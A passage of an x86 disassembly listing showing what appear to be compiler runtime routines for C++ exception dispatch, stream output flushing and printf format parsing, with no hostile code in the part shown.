					; sub_41A317+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41A364
; ---------------------------------------------------------------------------


loc_41A3BB:				; CODE XREF: sub_41A317+2Fj
					; sub_41A317+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41A317	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A3BF	proc near		; CODE XREF: sub_41A170+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41A416
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41A416
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41A3F0
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A412


loc_41A3F0:				; CODE XREF: sub_41A3BF+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41A3FA
		test	byte ptr [edi],	8
		jz	short loc_41A412


loc_41A3FA:				; CODE XREF: sub_41A3BF+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41A409
		test	byte ptr [edi],	1
		jz	short loc_41A412


loc_41A409:				; CODE XREF: sub_41A3BF+43j
		test	al, 2
		jz	short loc_41A416
		test	byte ptr [edi],	2
		jnz	short loc_41A416


loc_41A412:				; CODE XREF: sub_41A3BF+2Fj
					; sub_41A3BF+39j ...
		xor	eax, eax
		jmp	short loc_41A419
; ---------------------------------------------------------------------------


loc_41A416:				; CODE XREF: sub_41A3BF+Bj
					; sub_41A3BF+14j ...
		push	1
		pop	eax


loc_41A419:				; CODE XREF: sub_41A3BF+55j
		pop	edi
		pop	esi
		retn
sub_41A3BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A41C	proc near		; CODE XREF: .text:0041609Fp
					; sub_41A0D5+34p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427738
		push	offset sub_41D854
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41A44E:				; CODE XREF: sub_41A41C+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41A4A8
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41A45D
		cmp	esi, [edi+4]
		jl	short loc_41A462


loc_41A45D:				; CODE XREF: sub_41A41C+3Aj
		call	sub_41A982


loc_41A462:				; CODE XREF: sub_41A41C+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41A47D
		push	103h
		push	ebx
		push	eax
		call	sub_41A8D0


loc_41A47D:				; CODE XREF: sub_41A41C+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A49D
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41A4BA
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41A49D:				; CODE XREF: sub_41A41C+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41A44E
; ---------------------------------------------------------------------------


loc_41A4A8:				; CODE XREF: sub_41A41C+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A41C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4BA	proc near		; CODE XREF: sub_41A41C+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41A4CB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A4CB:				; CODE XREF: sub_41A4BA+Cj
		jmp	sub_41A91C
sub_41A4BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D0	proc near		; CODE XREF: sub_41A170+151p
					; sub_41A317+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41A4F2
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41A681
		add	esp, 10h


loc_41A4F2:				; CODE XREF: sub_41A4D0+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41A4FE
		push	edi
		jmp	short loc_41A501
; ---------------------------------------------------------------------------


loc_41A4FE:				; CODE XREF: sub_41A4D0+29j
		push	[ebp+arg_24]


loc_41A501:				; CODE XREF: sub_41A4D0+2Cj
		call	sub_41600B
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41A41C
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41A54B
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41A546
		push	edi
		push	eax
		call	sub_415FC2


loc_41A546:				; CODE XREF: sub_41A4D0+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A4D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A54B	proc near		; CODE XREF: sub_41A4D0+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427748
		push	offset sub_41D854
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_492864
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_492868
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_492864, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_492868, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_4160AA
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41A611
		mov	eax, [ebp+var_2C]


loc_41A5D8:				; CODE XREF: sub_41A5F1+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A54B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5E7	proc near		; DATA XREF: .rdata:00427758o
		push	dword ptr [ebp-14h]
		call	sub_41A657
		pop	ecx
		retn
sub_41A5E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5F1	proc near		; DATA XREF: .rdata:0042775Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41630A
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41A5D8
sub_41A5F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A609	proc near		; DATA XREF: .rdata:00427750o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]
sub_41A609	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A611	proc near		; CODE XREF: sub_41A54B+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_492864, eax
		mov	eax, [ebp-20h]
		mov	dword_492868, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41A656
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41A656
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41A656
		cmp	[ebp-24h], ebx
		jnz	short locret_41A656
		cmp	[ebp-2Ch], ebx
		jz	short locret_41A656
		call	sub_416372
		push	eax
		push	edi
		call	sub_41A845
		pop	ecx
		pop	ecx

locret_41A656:				; CODE XREF: sub_41A611+1Cj
					; sub_41A611+22j ...
		retn
sub_41A611	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A657	proc near		; CODE XREF: sub_41A5E7+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A67E
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41A67E
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41A67E
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41A67E
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A67E:				; CODE XREF: sub_41A657+Cj
					; sub_41A657+12j ...
		xor	eax, eax
		retn
sub_41A657	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A681	proc near		; CODE XREF: sub_41A4D0+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427760
		push	offset sub_41D854
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41A82A
		cmp	byte ptr [eax+8], 0
		jz	loc_41A82A
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41A82A
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41A71E
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41E36A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41A821
		push	1
		push	edi
		call	sub_41E386
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41A821
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41A70F:				; CODE XREF: sub_41A681+F5j
		push	eax
		call	sub_41A8AC
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41A826
; ---------------------------------------------------------------------------


loc_41A71E:				; CODE XREF: sub_41A681+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41A778
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41E36A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41A821
		push	1
		push	edi
		call	sub_41E386
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41A821
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_416430
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41A826
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41A826
		add	esi, 8
		push	esi
		jmp	short loc_41A70F
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A681+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41A7C0
		call	sub_41E36A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41A821
		push	1
		push	edi
		call	sub_41E386
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41A821
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41A8AC
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_416430
		add	esp, 0Ch
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A7C0:				; CODE XREF: sub_41A681+103j
		call	sub_41E36A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41A821
		push	1
		push	edi
		call	sub_41E386
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41A821
		push	dword ptr [esi+18h]
		call	sub_41E3A2
		pop	ecx
		test	eax, eax
		jz	short loc_41A821
		test	byte ptr [esi],	4
		jz	short loc_41A807
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41A8AC
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_416004
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A807:				; CODE XREF: sub_41A681+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41A8AC
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_415FFD
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A821:				; CODE XREF: sub_41A681+6Aj
					; sub_41A681+7Cj ...
		call	sub_41A982


loc_41A826:				; CODE XREF: sub_41A681+98j
					; sub_41A681+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41A82A:				; CODE XREF: sub_41A681+2Ej
					; sub_41A681+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A681	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41A91C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A845	proc near		; CODE XREF: sub_41A170+170p
					; sub_41A611+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427770
		push	offset sub_41D854
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41A88C
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41A88C
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_415FF6
		or	[ebp+var_4], 0FFFFFFFFh


loc_41A88C:				; CODE XREF: sub_41A845+2Aj
					; sub_41A845+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A845	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41A91C

; =============== S U B	R O U T	I N E =======================================



sub_41A8AC	proc near		; CODE XREF: sub_41A681+8Fp
					; sub_41A681+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41A8CD
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41A8CD:				; CODE XREF: sub_41A8AC+12j
		pop	esi
		retn
sub_41A8AC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8D0	proc near		; CODE XREF: sub_4160AA+40p
					; sub_41A41C+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_416395
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41A90F
		mov	ecx, 2


loc_41A90F:				; CODE XREF: sub_41A8D0+38j
		push	ecx
		call	sub_416395
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41A8D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A91C	proc near		; CODE XREF: sub_41A170:loc_41A312j
					; sub_41A4BA:loc_41A4CBj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041E3BA SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427780
		push	offset sub_41D854
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_492870
		test	eax, eax
		jz	short loc_41A964
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41A960
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A95D:				; DATA XREF: .rdata:00427794o
		mov	esp, [ebp+var_18]


loc_41A960:				; CODE XREF: sub_41A91C+3Bj
		and	[ebp+var_4], 0


loc_41A964:				; CODE XREF: sub_41A91C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41A96D:				; DATA XREF: .rdata:00427788o
		jmp	loc_41E3BA
sub_41A91C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, off_435C10
		test	eax, eax
		jz	short loc_41A97D
		call	eax ; sub_41A91C


loc_41A97D:				; CODE XREF: .text:0041A979j
		jmp	sub_41A91C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A982	proc near		; CODE XREF: sub_41624C+23p
					; sub_41624C:loc_4162B7p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427798
		push	offset sub_41D854
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_435C14
		test	eax, eax
		jz	short loc_41A9CA
		mov	[ebp+var_4], 1
		call	eax ; sub_41A91C
		jmp	short loc_41A9C6
; ---------------------------------------------------------------------------


loc_41A9BF:				; DATA XREF: .rdata:004277A8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A9C3:				; DATA XREF: .rdata:004277ACo
		mov	esp, [ebp+var_18]


loc_41A9C6:				; CODE XREF: sub_41A982+3Bj
		and	[ebp+var_4], 0


loc_41A9CA:				; CODE XREF: sub_41A982+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41A9D3:				; DATA XREF: .rdata:004277A0o
		jmp	sub_41A91C
sub_41A982	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A9D8	proc near		; CODE XREF: sub_4163D7+45p
					; sub_416821+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41AAE1
		test	al, 40h
		jnz	loc_41AAE1
		test	al, 1
		jz	short loc_41AA10
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41AAE1
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41AA10:				; CODE XREF: sub_41A9D8+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41AA4A
		cmp	esi, offset dword_436220
		jz	short loc_41AA38
		cmp	esi, offset dword_436240
		jnz	short loc_41AA43


loc_41AA38:				; CODE XREF: sub_41A9D8+56j
		push	ebx
		call	sub_41E5C2
		test	eax, eax
		pop	ecx
		jnz	short loc_41AA4A


loc_41AA43:				; CODE XREF: sub_41A9D8+5Ej
		push	esi
		call	sub_41E57E
		pop	ecx


loc_41AA4A:				; CODE XREF: sub_41A9D8+4Ej
					; sub_41A9D8+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41AAB7
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41AA7A
		push	edi
		push	eax
		push	ebx
		call	sub_41E3D1
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41AAAD
; ---------------------------------------------------------------------------


loc_41AA7A:				; CODE XREF: sub_41A9D8+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41AA95
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_493E60[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41AA9A
; ---------------------------------------------------------------------------


loc_41AA95:				; CODE XREF: sub_41A9D8+A5j
		mov	eax, offset dword_436130


loc_41AA9A:				; CODE XREF: sub_41A9D8+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41AAAD
		push	2
		push	0
		push	ebx
		call	sub_41CE78
		add	esp, 0Ch


loc_41AAAD:				; CODE XREF: sub_41A9D8+A0j
					; sub_41A9D8+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41AACB
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41A9D8+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41E3D1
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41AACB:				; CODE XREF: sub_41A9D8+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41AAD7
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41AAE6
; ---------------------------------------------------------------------------


loc_41AAD7:				; CODE XREF: sub_41A9D8+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41AAE9
; ---------------------------------------------------------------------------


loc_41AAE1:				; CODE XREF: sub_41A9D8+10j
					; sub_41A9D8+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41AAE6:				; CODE XREF: sub_41A9D8+FDj
		or	eax, 0FFFFFFFFh


loc_41AAE9:				; CODE XREF: sub_41A9D8+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A9D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAED	proc near		; CODE XREF: sub_4163D7+28p
					; sub_416821+29p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41B206
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41AB21
; ---------------------------------------------------------------------------


loc_41AB19:				; CODE XREF: sub_41AAED+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41AB21:				; CODE XREF: sub_41AAED+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41B206
		cmp	bl, 20h
		jl	short loc_41AB42
		cmp	bl, 78h
		jg	short loc_41AB42
		movsx	eax, bl
		mov	al, ds:byte_427790[eax]
		and	eax, 0Fh
		jmp	short loc_41AB44
; ---------------------------------------------------------------------------


loc_41AB42:				; CODE XREF: sub_41AAED+40j
					; sub_41AAED+45j
		xor	eax, eax


loc_41AB44:				; CODE XREF: sub_41AAED+53j
		movsx	eax, ds:byte_4277B0[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41B1F5	; default
		jmp	ds:off_41B20E[eax*4] ; switch jump


loc_41AB62:				; DATA XREF: .text:off_41B20Eo
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041AB5B case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41AB7D:				; CODE XREF: sub_41AAED+6Ej
					; DATA XREF: .text:off_41B20Eo
		movsx	eax, bl		; jumptable 0041AB5B case 2
		sub	eax, 20h
		jz	short loc_41ABC0
		sub	eax, 3
		jz	short loc_41ABB7
		sub	eax, 8
		jz	short loc_41ABAE
		dec	eax
		dec	eax
		jz	short loc_41ABA5
		sub	eax, 3
		jnz	loc_41B1F5	; default
		or	[ebp+var_4], 8
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41ABA5:				; CODE XREF: sub_41AAED+A4j
		or	[ebp+var_4], 4
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41ABAE:				; CODE XREF: sub_41AAED+A0j
		or	[ebp+var_4], 1
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41ABB7:				; CODE XREF: sub_41AAED+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41ABC0:				; CODE XREF: sub_41AAED+96j
		or	[ebp+var_4], 2
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41ABC9:				; CODE XREF: sub_41AAED+6Ej
					; DATA XREF: .text:off_41B20Eo
		cmp	bl, 2Ah		; jumptable 0041AB5B case 3
		jnz	short loc_41ABF1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B2CC
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41B1F5	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41ABE9:				; CODE XREF: sub_41AAED+111j
		mov	[ebp+var_20], eax
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41ABF1:				; CODE XREF: sub_41AAED+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41ABE9
; ---------------------------------------------------------------------------


loc_41AC00:				; CODE XREF: sub_41AAED+6Ej
